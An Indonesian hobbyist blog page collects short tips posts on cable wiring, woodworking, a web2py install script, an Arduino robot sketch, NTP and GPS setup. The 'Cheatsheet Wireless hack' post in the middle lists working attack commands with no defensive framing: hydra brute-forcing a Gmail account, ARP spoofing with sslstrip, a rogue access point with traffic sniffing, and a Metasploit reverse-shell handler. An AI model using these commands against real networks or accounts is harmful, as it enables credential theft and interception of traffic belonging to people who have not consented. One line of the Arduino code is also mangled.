Tampilkan postingan dengan label Tips. Tampilkan semua postingan
Tampilkan postingan dengan label Tips. Tampilkan semua postingan

Membuat kabel network

Ini topik lama, tapi kadang-kadang saya masih perlu membuat kabel network.

Yang saya pakai adalah : T-568B
dan kalau di test di network cable tester... tetap berurutan 1 s/d 8 normal



Belajar Serat Kayu

Ini adalah hal-hal umum yang saya pelajari sewaktu membuat box kayu.

Kita harus mempelajari serat kayu dalam membuat box. Serat kayu menentukan teknik yang akan dipakai. Chipping adalah hal yang ingin di hindari. Lihat dan perhatikan arah serat kayunya.

Box dalam CNC harus benar-benar flat surface. (bagaimana cara termudah melakukannya?)
- mungkin harus di pass lewat flat bit dulu.

Mengamplas Groove itu susah apabila belum punya tehnik.

Membuat tegak lurus dan paralel adalah problem perkayuan yang paling umum. Kuasai materi ini, selanjutnya lebih mudah.



PARADIGMA PROYEK 3 HARI

Setelah melalui fase menjadi pekerja, hambatan yang paling besar dalam menuju kemajuan adalah DISTRAKSI. Di zaman penuh dengan teknologi digital ini banyak sekali yang membuat kita menjadi tidak fokus.
Kita menuju kemana? ini adalah pertanyaan yang susah dijawab apabila tidak fokus.
Saya sedang menikmati belajar kembali hal-hal yang bersifat engineering, namun dalam perjalanannya kadang tidak menemukan jawaban untuk sebuah permasalahan.
Ini perlunya pekerjaan yang berdasarkan bagian per bagian.
Kita membagi problem besar menjadi problem kecil-kecil yang dapat di pecahkan.
Disini saya tertarik pada ide paradigma proyek 3 hari.

Saya belajar dari video ini. Klik sini
https://www.youtube.com/watch?v=ohr6O78jGzs

Sangat inspiratif buat saya dan saya merasa saya dapat melakukannya.
Apa idenya?

Idenya adalah bagaimana kita belajar bagian-bagian yang kecil-kecil.

Hari pertama:
   Ngoprek dan mengetes-ngetes.
   Refactor  (ini pelajaran pentingnya. Mengecilkan bagian sampai cukup dapat dipecahkan)

Hari kedua.
  Buat semua berfungsi.
  Buat semua BUGS kabur!!!

Hari ketiga.
  Dokumentasi- dokumentasi
  Refactor
  Blog.
  Taruh di repository.



Mau tahu ip sendiri dalam bentuk text?

Query ke getip.dyndns.org

Install web2py di raspberry pi

Saya gunakan script ini.

copy paste.
chmod +x
lalu jalankan.


echo "This script will:
1) install all modules need to run web2py on Ubuntu/Debian
2) install web2py in /home/www-data/
3) create a self signed sll certificate
4) setup web2py with mod_wsgi
5) overwrite /etc/apache2/sites-available/default
6) restart apache.

You may want to read this script before running it.

Press a key to continue...[ctrl+C to abort]"

read CONFIRM

#!/bin/bash
# optional
# dpkg-reconfigure console-setup
# dpkg-reconfigure timezoneconf
# nano /etc/hostname
# nano /etc/network/interfaces
# nano /etc/resolv.conf
# reboot now
# ifconfig eth0

echo "installing useful packages"
echo "=========================="
apt-get update
apt-get -y install ssh
apt-get -y install zip unzip
apt-get -y install tar
apt-get -y install openssh-server
apt-get -y install build-essential
apt-get -y install python2.5
apt-get -y install ipython
apt-get -y install python-dev
apt-get -y install postgresql
apt-get -y install apache2
apt-get -y install libapache2-mod-wsgi
apt-get -y install python2.5-psycopg2
apt-get -y install postfix
apt-get -y install wget
apt-get -y install python-matplotlib
apt-get -y install python-reportlab
apt-get -y install mercurial
/etc/init.d/postgresql restart

# optional, uncomment for emacs
# apt-get -y install emacs

# optional, uncomment for backups using samba
# apt-get -y install samba
# apt-get -y install smbfs

echo "downloading, installing and starting web2py"
echo "==========================================="
cd /home
mkdir www-data
cd www-data
rm web2py_src.zip*
wget http://web2py.com/examples/static/web2py_src.zip
unzip web2py_src.zip
mv web2py/handlers/wsgihandler.py web2py/wsgihandler.py
chown -R www-data:www-data web2py

echo "setting up apache modules"
echo "========================="
a2enmod ssl
a2enmod proxy
a2enmod proxy_http
a2enmod headers
a2enmod expires
a2enmod wsgi
mkdir /etc/apache2/ssl

echo "creating a self signed certificate"
echo "=================================="
openssl genrsa 1024 > /etc/apache2/ssl/self_signed.key
chmod 400 /etc/apache2/ssl/self_signed.key
openssl req -new -x509 -nodes -sha1 -days 365 -key /etc/apache2/ssl/self_signed.key > /etc/apache2/ssl/self_signed.cert
openssl x509 -noout -fingerprint -text < /etc/apache2/ssl/self_signed.cert > /etc/apache2/ssl/self_signed.info

echo "rewriting your apache config file to use mod_wsgi"
echo "================================================="
echo '
NameVirtualHost *:80
NameVirtualHost *:443
# If the WSGIDaemonProcess directive is specified outside of all virtual
# host containers, any WSGI application can be delegated to be run within
# that daemon process group.
# If the WSGIDaemonProcess directive is specified
# within a virtual host container, only WSGI applications associated with
# virtual hosts with the same server name as that virtual host can be
# delegated to that set of daemon processes.
WSGIDaemonProcess web2py user=www-data group=www-data processes=1 threads=1


  WSGIProcessGroup web2py
  WSGIScriptAlias / /home/www-data/web2py/wsgihandler.py
  WSGIPassAuthorization On

 
    AllowOverride None
    Order Allow,Deny
    Deny from all
   
      Allow from all
   

 

  AliasMatch ^/([^/]+)/static/(?:_[\d]+.[\d]+.[\d]+/)?(.*) \
           /home/www-data/web2py/applications/$1/static/$2
 
    Options -Indexes
    Order Allow,Deny
    Allow from all
 

 
  Deny from all
 

 
  Deny from all
 

  CustomLog /var/log/apache2/access.log common
  ErrorLog /var/log/apache2/error.log



  SSLEngine on
  SSLCertificateFile /etc/apache2/ssl/self_signed.cert
  SSLCertificateKeyFile /etc/apache2/ssl/self_signed.key

  WSGIProcessGroup web2py
  WSGIScriptAlias / /home/www-data/web2py/wsgihandler.py
  WSGIPassAuthorization On

 
    AllowOverride None
    Order Allow,Deny
    Deny from all
   
      Allow from all
   
 

  AliasMatch ^/([^/]+)/static/(?:_[\d]+.[\d]+.[\d]+/)?(.*) \
        /home/www-data/web2py/applications/$1/static/$2

 
    Options -Indexes
    ExpiresActive On
    ExpiresDefault "access plus 1 hour"
    Order Allow,Deny
    Allow from all
 

  CustomLog /var/log/apache2/access.log common
  ErrorLog /var/log/apache2/error.log

' > /etc/apache2/sites-available/default

# echo "setting up PAM"
# echo "================"
# sudo apt-get install pwauth
# sudo ln -s /etc/apache2/mods-available/authnz_external.load /etc/apache2/mods-enabled
# ln -s /etc/pam.d/apache2 /etc/pam.d/httpd
# usermod -a -G shadow www-data

echo "restarting apache"
echo "================"

/etc/init.d/apache2 restart
cd /home/www-data/web2py
sudo -u www-data python -c "from gluon.widget import console; console();"
sudo -u www-data python -c "from gluon.main import save_password; save_password(raw_input('admin password: '),443)"
echo "done!"

Cheatsheet Wireless hack

Bruteforce gmail

hydra -S -l xxx@gmail.com -P /pentest/password/wordlist/word.lst -e ns -V -s 465 smtp.gmai.com smtp


------------------------------------------

SSLSTRIP

  echo 1 > /proc/sys/net/ipv4/ip_forward
  iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

liat gateway cari target

  nmap -sS -O gateway/24

  arpspoof -i wlan0 -t targetIP -r gatewayIP

new terminal
  sslstrip -l 8080

------------------------------------------

FAKE ACCESS POINT

  route n
  find gatewayIP

  apt-get install dhcp3-server

  /etc/dhcpd.conf

    >>isinya

authoritative;
default-lease-time 600;
max-lease-time 7200;
subnet 192.168.1.0 netmask 255.255.255.0 {
option routers 192.168.1.1;
option subnet-mask 255.255.255.0;
option domain-name "AZANA16-2";
option domain-name-servers 192.168.1.1;
range 192.168.1.2 192.168.1.40;
}


  airmon-ng
  airmon-ng start wlan0

  airbase-ng -c 11 -e AZANA16-2 mon0

 #new terminal
  ifconfig at0 192.168.1.1 netmask 255.255.255.0
  ifconfig at0 mtu 1400
  route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
  echo 1 > /proc/sys/net/ipv4/ip_forward
  iptables -t nat -A PREROUTING -p udp -j DNAT --to gatewayIP
  iptables -P FORWARD ACCEPT
  iptables --append FORWARD --in-interface at0 -j ACCEPT
  iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
  iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
  dhcpd -cf /etc/dhcpd.conf -pf /var/run/dhcpd.pid at0
  /etc/init.d/isc-dhcp-server start

  sslstrip -f -p -k 10000

 #new terimal
  ettercap -p -u -T -q -i at0


---------------------

RESEP LINUX

mounting samba
  mount -t cifs //192.168.99.88/Public -o username=irza,password=xxx


use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploit -j

===========================================
SSLSTRIP on router


echo 1 > /proc/sys/net/ipv4/ip_forward

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

  gwip: gateway ip

nmap -sS -O gwip/24

  targip: targetip


arpspoof -t eth0 -t targip -r gwip

sslstrip -l 8080

PCB Design Error

Ini kesalahan saya dalam mendesain PCB.

1. Posisi Terminal tidak lega.
posisi terminal yang miring tidak membuat pemasangan kabel menjadi mudah, melainkan cukup menyulitkan.
Buat terminal di pinggir dan lubang menghadap luar

2. Jalur bisa dibuat lebih besar.
Sepertinya saya memakai 0.5 sebagai lebar jalur. Bisa gunakan 0.7 / 0.8


Flash Arduino UNO / MEGA menjadi device MIDI

Salah satu implementasi arduino yang menarik adalah membuat arduino menjadi midi device.
Langkah berikut untuk flashing arduino

Saya menggunakan arduino mega 2560 dari DFROBOT bisa dibeli disini

1. download dfu-programmer / unzip di harddisk anda download disini
2. download hex yang sudah dicompile   download disini

3. Connect Arduino ke computer via USB
4. reset Arduino dengan menghubungkan 2 solderan ini (pin)

5. Nanti Arduino mereset dan setelah connect kembali dia menjadi ARDUINO DFU
6. PENTING: Install driver windows dfu dengan mengarahkan ke directori dfu yang telah didownload
7. Jalankan langkah ini:

dfu-programmer at90usb82 erase
dfu-programmer at90usb82 flash Arduino-usbmidi-0.2-mega2560.hex
dfu-programmer at90usb82 reset

8. Lepas USB dan Connect kembali.

Anda tidak bisa mengupload sketch apabila sudah memasang ini. Upload implementasi anda sebelumnya.
atau mereflash kembali ke MEGA-dfu_and_usbserial_combined.hex yang ada di directory
arduino-1.0.5\hardware\arduino\firmwares\atmegaxxu2

Semoga Berhasil.


Raspberry Pi - web2py


Install Web2py di Pi


wget http://web2py.googlecode.com/hg/scripts/setup-web2py-ubuntu.sh
chmod +x setup-web2py-ubuntu.sh
sudo ./setup-web2py-ubuntu.sh

Install Pygal. for Pi
slow but works.
apt-get install python-pip
apt-get install libxml2-dev libxslt1-dev gcc
apt-get install python2.7-dev
pip install pygal

Client ntpdate
sudo apt-get install ntpdate

bisa sync waktu dengan command:
ntpdate -u id.pool.ntp.org

Untuk crontab.
crontab -e
0/15 0 0 0 0 sudo ntpdate -u id.pool.ntp.org
@reboot root ntpdate -u id.pool.ntp.org






Tambahan Installasi melengkapi Chippy





sudo apt-get install psmisc

sudo apt-get install python-espeak python-serial

sudo pip install npyscreen

sudo apt-get install chrony


Cwiid(Wiimote untuk Python)

sudo apt-get install libcwiid1 lswm wmgui wminput
sudo apt-get install python-cwiid

? bluetooth
sudo apt-get install bluez libbluetooth-dev python-dbus python-gobject

sudo apt-get install bluez-utils (122MB?)

sudo apt-get install lame ubuntu-restricted-extras

Serial to python



Dalam membuat robot saya memakai arduino sebagai mikrokontrollernya, banyak hal tersambung ke mikro ini. mis: sensor dan motor.

Dalam pengkodean arduino saya memakai cara yang praktis namun memakan banyak resource program. Yaitu menggunakan String sebagai alat transport serial.




setelah pembacaan sensor, semua value langsung di buatkan string seperti ini:




0:1:2:3:4:5:6:1:2:3:4#




langsung di send sekali jalan ke komputer, sama sekali nggak effisien resource, tapi program cepat jadi.




kekurangannya ialah : setiap delay(xxx) akan mempengaruhi kinerja.




maka dari itu pelajarilah contoh SerialEvent.ino yang dibundle dengan IDE arduino. dengan itu. anda dapat menggunakan serial untuk menerima karakter perintah, walaupun sensor tetap mengirim data ke komputer.




Sebelumnya saya memproses satu persatu. namun ada teknik program yang membuat serial menjadi lebih efisien.




Tetap belajar.








// ---------------------------------------------------------------------------

// This example code was used to successfully communicate with 15 ultrasonic sensors. You can adjust

// the number of sensors in your project by changing SONAR_NUM and the number of NewPing objects in the

// "sonar" array. You also need to change the pins for each sensor for the NewPing objects. Each sensor

// is pinged at 33ms intervals. So, one cycle of all sensors takes 495ms (33 * 15 = 495ms). The results

// are sent to the "oneSensorCycle" function which currently just displays the distance data. Your project

// would normally process the sensor results in this function (for example, decide if a robot needs to

// turn and call the turn function). Keep in mind this example is event-driven. Your complete sketch needs

// to be written so there's no "delay" commands and the loop() cycles at faster than a 33ms rate. If other

// processes take longer than 33ms, you'll need to increase PING_INTERVAL so it doesn't get behind.

// ---------------------------------------------------------------------------

#include
#include
// the commands needed for the SRF sensors:
#define sensorAddress 0x60
// this is the memory register in the sensor that contains the result:
#define resultRegister 0x02
#define SONAR_NUM 6 // Number or sensors.
#define MAX_DISTANCE 200 // Maximum distance (in cm) to ping.
#define PING_INTERVAL 33 // Milliseconds between sensor pings (29ms is about the min to avoid cross-sensor echo).
#define PING1_TR 51 // Arduino pin tied to trigger pin on the ultrasonic sensor.
#define PING1_EC 53 // Arduino pin tied to echo pin on the ultrasonic sensor.
#define PING2_TR 47
#define PING2_EC 49
#define PING3_TR 43
#define PING3_EC 45
#define PING4_TR 39
#define PING4_EC 41
#define PING5_TR 35
#define PING5_EC 37
#define PING6_TR 31
#define PING6_EC 33
#define buzzPin 13
//Arduino to EMS30 Pin
int MIN1_1 = 11;
int MIN1_2 = 10;
int MEN1_1 = 12;
int MEN1_2 = 9;
int MPWM1 = 8;
int MIN2_1 = 6;
int MIN2_2 = 5;
int MEN2_1 = 7;
int MEN2_2 = 4;
int MPWM2 = 3;
int PPWM1 = 0;
int PPWM2 = 0;
int SPEED = 0;
int DIR = 0;
String XTRA = "";
int pinBuzzer = 40;
unsigned int uS1 = 0;
unsigned int uS2 = 0;
unsigned int uS3 = 0;
unsigned int uS4 = 0;
unsigned int uS5 = 0;
unsigned int uS6 = 0;
float filterVal = .6;
float suS1 = 0;
float suS2 = 0;
float suS3 = 0;
float suS4 = 0;
float suS5 = 0;
float suS6 = 0;
float ir_filterVal = .4;
float iR1 = 0;
float iR2 = 0;
float iR3 = 0;
float iR4 = 0;
//cmps
int bearing = 0;

NewPing ping1(PING1_TR, PING1_EC, MAX_DISTANCE); // NewPing setup of pins and maximum distance.
NewPing ping2(PING2_TR, PING2_EC, MAX_DISTANCE);
NewPing ping3(PING3_TR, PING3_EC, MAX_DISTANCE);
NewPing ping4(PING4_TR, PING4_EC, MAX_DISTANCE);
NewPing ping5(PING5_TR, PING5_EC, MAX_DISTANCE);
NewPing ping6(PING6_TR, PING6_EC, MAX_DISTANCE);

String inputString = ""; // a string to hold incoming data
boolean stringComplete = false; // whether the string is complete


void getInfraRed()
{
iR1 = smooth(averageAnalog(6),ir_filterVal, iR1);
iR2 = smooth(averageAnalog(5),ir_filterVal, iR2);
iR3 = smooth(averageAnalog(8),ir_filterVal, iR3);
iR4 = smooth(averageAnalog(7),ir_filterVal, iR4);
// iR1 = averageAnalog(6);
// iR2 = averageAnalog(5);
// iR3 = averageAnalog(8);
// iR4 = averageAnalog(7);
//delay(100);
}
// for smoothing value in Range
int smooth(int data, float filterVal, float smoothedVal){

if (filterVal > 1){ // check to make sure param's are within range
filterVal = .99;
}
else if (filterVal <= 0){
filterVal = 0;
}
smoothedVal = (data * (1 - filterVal)) + (smoothedVal * filterVal);
return (int)smoothedVal;
}
void errorBeep()
{
digitalWrite(buzzPin, HIGH);
delay(200);
digitalWrite(buzzPin, LOW);
delay(50);
digitalWrite(buzzPin, HIGH);
delay(200);
digitalWrite(buzzPin, LOW);
delay(50);
digitalWrite(buzzPin, HIGH);
delay(200);
digitalWrite(buzzPin, LOW);
}
void getSonar() {
uS1 = ping1.ping()/US_ROUNDTRIP_CM;
uS2 = ping2.ping()/US_ROUNDTRIP_CM;
uS3 = ping3.ping()/US_ROUNDTRIP_CM;
uS4 = ping4.ping()/US_ROUNDTRIP_CM;
uS5 = ping5.ping()/US_ROUNDTRIP_CM;
uS6 = ping6.ping()/US_ROUNDTRIP_CM;
if(uS1 == 0){ uS1 = int(suS1);}
if(uS2 == 0){ uS2 = int(suS2);}
if(uS3 == 0){ uS3 = int(suS3);}
if(uS4 == 0){ uS4 = int(suS4);}
if(uS5 == 0){ uS5 = int(suS5);}
if(uS6 == 0){ uS6 = int(suS6);}
//average both
suS1 = smooth(uS1,filterVal,suS1);
suS2 = smooth(uS2,filterVal,suS2);
suS3 = smooth(uS3,filterVal,suS3);
suS4 = smooth(uS4,filterVal,suS4);
suS5 = smooth(uS5,filterVal,suS5);
suS6 = smooth(uS6,filterVal,suS6);

}
int averageAnalog(int pin){
int v=0;
for(int i=0; i<4 analogread="analogread" br="br" i="i" pin="pin" v="v"> return v/4;
}
void doubleBeep()
{
digitalWrite(buzzPin, HIGH);
delay(300);
digitalWrite(buzzPin, LOW);
delay(50);
digitalWrite(buzzPin, HIGH);
delay(300);
digitalWrite(buzzPin, LOW);
}

void turnLeft(){
digitalWrite(MIN1_1,LOW); //go back
digitalWrite(MIN1_2, HIGH);
digitalWrite(MIN2_1,HIGH); //go back
digitalWrite(MIN2_2, LOW);
}

void turnRight(){
digitalWrite(MIN1_1,HIGH); //go back
digitalWrite(MIN1_2, LOW);
digitalWrite(MIN2_1,LOW); //go back
digitalWrite(MIN2_2, HIGH);
}

void goBackward(){
digitalWrite(MIN1_1,LOW); //maju
digitalWrite(MIN1_2, HIGH);
digitalWrite(MIN2_1,LOW); //maju
digitalWrite(MIN2_2, HIGH);
}
void goForward(){
digitalWrite(MIN1_1,HIGH); //go back
digitalWrite(MIN1_2, LOW);
digitalWrite(MIN2_1,HIGH); //go back
digitalWrite(MIN2_2, LOW);
}
void stopMe() {
digitalWrite(MIN1_1,LOW);
digitalWrite(MIN1_2, LOW);
digitalWrite(MIN2_1,LOW);
digitalWrite(MIN2_2, LOW);
digitalWrite(MPWM1, HIGH); //PWM Speed Control
digitalWrite(MPWM2, HIGH); //PWM Speed Control
}
void highMen(){
digitalWrite(MEN1_1,HIGH);
digitalWrite(MEN1_2, HIGH);
digitalWrite(MEN2_1,HIGH);
digitalWrite(MEN2_2, HIGH);
delay(30);}
void lowMen(){
digitalWrite(MEN1_1,LOW);
digitalWrite(MEN1_2, LOW);
digitalWrite(MEN2_1,LOW);
digitalWrite(MEN2_2, LOW);
delay(30);}
void setPPWM(){
analogWrite(MPWM1, PPWM1); //PWM Speed Control
analogWrite(MPWM2, PPWM2); //PWM Speed Control
}
void processString() {
String stringOne = inputString;
int firsty = stringOne.indexOf(":");
int secondy = stringOne.indexOf(":",firsty+1);
int thirdy = stringOne.indexOf(":",secondy+1);
int foury = stringOne.indexOf(":",thirdy+1);
int fivy = stringOne.length();

String onez = stringOne.substring(0,firsty);
String duez = stringOne.substring(firsty+1,secondy);
String thirdez = stringOne.substring(secondy+1,thirdy);
String fourdy = stringOne.substring(thirdy+1,foury);
String fivedy = stringOne.substring(foury+1,fivy);
SPEED = onez.toInt();
DIR = duez.toInt();
PPWM1 = thirdez.toInt();
PPWM2 = fourdy.toInt();
XTRA = fivedy;
}
void stopRobot(){
stopMe();
}



void setup() {
doubleBeep();
pinMode(MIN1_1, OUTPUT);
pinMode(MIN1_2, OUTPUT);
pinMode(MEN1_1, OUTPUT);
pinMode(MEN1_2, OUTPUT);
pinMode(MIN2_1, OUTPUT);
pinMode(MIN2_2, OUTPUT);
pinMode(MEN2_1, OUTPUT);
pinMode(MEN2_2, OUTPUT);
pinMode(MPWM1, OUTPUT);
pinMode(MPWM2, OUTPUT);
highMen(); // turn on MEN

Serial.begin(115200);
Wire.begin();
//
inputString.reserve(200);
Serial.println("Ready");
}
void loop() {
// Process the string when a newline arrives:
// print the string when a newline arrives:
if (stringComplete) {
// clear the string:
inputString = "";
stringComplete = false;
}
if (DIR == 1) {
goForward();
setPPWM();
}
if (DIR == 3) {
goBackward();
setPPWM();
}
if (DIR == 2) {
turnLeft();
setPPWM();
}
if (DIR == 4) {
turnRight();
setPPWM();
}
if (DIR == 0) {
stopRobot();
}

getInfraRed();
getSonar();

// send the CMPS command to read the result in degree:
setRegister(sensorAddress, resultRegister);
// read the result:
bearing = readData(sensorAddress, 2);

sendSerial();


}
void sendSerial(){
Serial.print("S:");
Serial.print(suS1);
Serial.print(":");
Serial.print(suS2);
Serial.print(":");
Serial.print(suS3);
Serial.print(":");
Serial.print(suS4);
Serial.print(":");
Serial.print(suS5);
Serial.print(":");
Serial.print(suS6);
Serial.print(":");
Serial.print(iR1);
Serial.print(":");
Serial.print(iR2);
Serial.print(":");
Serial.print(iR3);
Serial.print(":");
Serial.print(iR4);
Serial.print(":");
Serial.print(bearing/10);
Serial.println(":");

}
/*
SerialEvent occurs whenever a new data comes in the
hardware serial RX. This routine is run between each
time loop() runs, so using delay inside loop can delay
response. Multiple bytes of data may be available.
*/
void serialEvent() {
while (Serial.available()) {
// get the new byte:
char inChar = (char)Serial.read();
// add it to the inputString:
inputString += inChar;
// if the incoming character is a newline, set a flag
// so the main loop can do something about it:
if (inChar == '#') {
stringComplete = true;
processString();
}
}
}


/*
setRegister() tells the CMP sensor to change the address pointer position
*/
void setRegister(int address, int thisRegister) {
// start I2C transmission:
Wire.beginTransmission(address);
// send address to read from:
Wire.write(thisRegister);
// end I2C transmission:
Wire.endTransmission();
}
/*
readData() returns a result from the SRF sensor
*/
int readData(int address, int numBytes) {
int result = 0; // the result is two bytes long
// send I2C request for data:
Wire.requestFrom(address, numBytes);
// wait for two bytes to return:
while (Wire.available() < 2 ) {
// wait for result
}
// read the two bytes, and combine them into one int:
result = Wire.read() * 256;
result = result + Wire.read();
// return the result:
return result;
}

Network di Beagleboard

Setting /etc/network/interfaces



auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet dhcp
# Example to keep MAC address between reboots
#hwaddress ether DE:AD:BE:EF:CA:FE

# WiFi Example
auto wlan0
iface wlan0 inet dhcp
 wireless-essid AZANA16-2

#    wpa-ssid "essid"
#    wpa-psk  "password"

NTP update - firstmedia

Saya menggunakan firstmedia sebagai layanan provider internet di rumah. Namun salah satu kendala menggunakan provider ini ialah: port bawah < 1024 di blok untuk pengamanan.
Jadi tcp untuk menggunakan ntp akan otomatis gagal.

Namun beberapa mesin linux saya selalu reboot dan tanggalnya menjadi salah. Harus menggunakan port yang tidak umum. Baru saya tahu bahwa ada fasilitas standard dari ntp yaitu: -u

jadi install ntp
sudo apt-get install ntpdate

sudo ntpdate -u id.pool.ntp.org

selamat mencoba.

Setting koneksi GPS Nokia e75 ke backtrack Linux

Refensi dapat di lihat di

http://www.google.com/url?q=http%3A%2F%2Fwww.simplehelp.net%2F2008%2F10%2F22%2Fhow-to-share-the-gps-in-your-n95-with-your-laptop-via-bluetooth-in-linux%2F&sa=D&usg=AFQjCNGhVFDGV3Ch11JDPV483LsR90S3-Q

hee not bad ..

e75 sama e95 sepertinya sama saja system operasinya.

yang saya agak rubah ialah setting GPS

Positioning.. –> bluetooth off, Assisted GPS on, Integrated GPS on, Network GPS off (ini bikin masalah aja… begitu network di matikan, semua langsung lancar)

Program extGPS nya sih asik.. cuma saya coba oprek2 menggunakan gps2blue untuk di GPS asli saya super spring (murah meriah).. namun masih belum berhasil.

nanti kalo udah bisa saya tulis lagi.. ato mungkin ada yang sudah pernah berhasil?

ini hasil wardrivenya